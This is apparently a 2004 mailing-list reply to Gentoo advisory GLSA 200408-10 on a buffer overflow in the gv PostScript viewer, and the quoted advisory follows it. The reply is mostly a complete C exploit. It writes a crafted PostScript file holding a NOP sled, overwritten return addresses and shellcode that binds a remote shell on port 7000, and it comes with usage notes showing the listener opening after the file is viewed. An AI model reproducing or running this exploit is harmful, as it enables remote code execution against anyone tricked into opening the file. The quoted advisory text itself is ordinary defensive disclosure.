Re: [ GLSA 200408-10 ] gv: Exploitable Buffer Overflow
/*
* gv postscript viewer exploit , infamous42md AT hotpop DOT com
*
* run of the mill bof. spawns a remote shell on port 7000. woopty doo. if
* someone has been able to exploit the heap overflow in cfengine, please email
* me and teach me something. after days of pain i've concluded it's not
* possible b/c you can't manipulate the heap enough to get anything good in
* front of you. please prove me wrong so i can learn.
*
* shouts to mitakeet
*
* [n00b@xxxxxxxxxxxxxxxx] netstat -ant | grep 7000
* [n00b@xxxxxxxxxxxxxxxx] gcc -Wall -o gvown gvown.c
* [n00b@xxxxxxxxxxxxxxxx] ./gvown 0xbffff350
* [n00b@xxxxxxxxxxxxxxxx] ./gv h4x0ring_sacr3ts_uncuv3red.ps
* [n00b@xxxxxxxxxxxxxxxx] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- "
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"
/* call them on port 7000, mine */
char remote[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
int len, x, fd;
char buf[BS];
u_long retaddr;
if(argc < 2){
fprintf(stderr, "Usage: %s < retaddr >\n", argv[0]);
return EXIT_FAILURE;
}
sscanf(argv[1], "%lx", &retaddr);
/* create 3vil buf */
memset(buf, NOP, BS);
strcpy(buf, PS_COMMENT);
len = strlen(buf);
for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
memcpy(buf+x+len, &retaddr, sizeof(retaddr));
len += x + NNOPS;
strcpy(buf+len, remote);
strcat(buf+len, "\n");
len += strlen(remote) + 1; /* + NULL */
/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT|O_EXCL, 0666)) < 0)
die("open");
if(write(fd, buf, len) < 0)
die("write");
close(fd);
return 0;
}
On Thu, 12 Aug 2004 13:33:07 +0200
Sune Kloppenborg Jeppesen <jaervosz@xxxxxxxxxx> wrote:
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> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Gentoo Linux Security Advisory GLSA 200408-10
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> http://security.gentoo.org/
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
> Severity: Normal
> Title: gv: Exploitable Buffer Overflow
> Date: August 12, 2004
> Bugs: #59385
> ID: 200408-10
>
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
> Synopsis
> ========
>
> gv contains an exploitable buffer overflow that allows an attacker to
> execute arbitrary code.
>
> Background
> ==========
>
> gv is a PostScript and PDF viewer for X which provides a user interface
> for the ghostscript interpreter.
>
> Affected packages
> =================
>
> -------------------------------------------------------------------
> Package / Vulnerable / Unaffected
> -------------------------------------------------------------------
> 1 app-text/gv <= 3.5.8-r3 >= 3.5.8-r4
>
> Description
> ===========
>
> gv contains a buffer overflow vulnerability where an unsafe sscanf()
> call is used to interpret PDF and PostScript files.
>
> Impact
> ======
>
> By enticing a user to view a malformed PDF or PostScript file an
> attacker could execute arbitrary code with the permissions of the user
> running gv.
>
> Workaround
> ==========
>
> There is no known workaround at this time. All users are encouraged to
> upgrade to the latest available version of gv.
>
> Resolution
> ==========
>
> All gv users should upgrade to the latest version:
>
> # emerge sync
>
> # emerge -pv ">=app-text/gv-3.5.8-r4"
> # emerge ">=app-text/gv-3.5.8-r4"
>
> References
> ==========
>
> [ 1 ] CAN-2002-0838
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0838
>
> Availability
> ============
>
> This GLSA and any updates to it are available for viewing at
> the Gentoo Security Website:
>
> http://security.gentoo.org/glsa/glsa-200408-10.xml
>
> Concerns?
> =========
>
> Security is a primary focus of Gentoo Linux and ensuring the
> confidentiality and security of our users machines is of utmost
> importance to us. Any security concerns should be addressed to
> security@xxxxxxxxxx or alternatively, you may file a bug at
> http://bugs.gentoo.org.
>
> License
> =======
>
> Copyright 2004 Gentoo Foundation, Inc; referenced text
> belongs to its owner(s).
>
> The contents of this document are licensed under the
> Creative Commons - Attribution / Share Alike license.
>
> http://creativecommons.org/licenses/by-sa/1.0
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--
-sean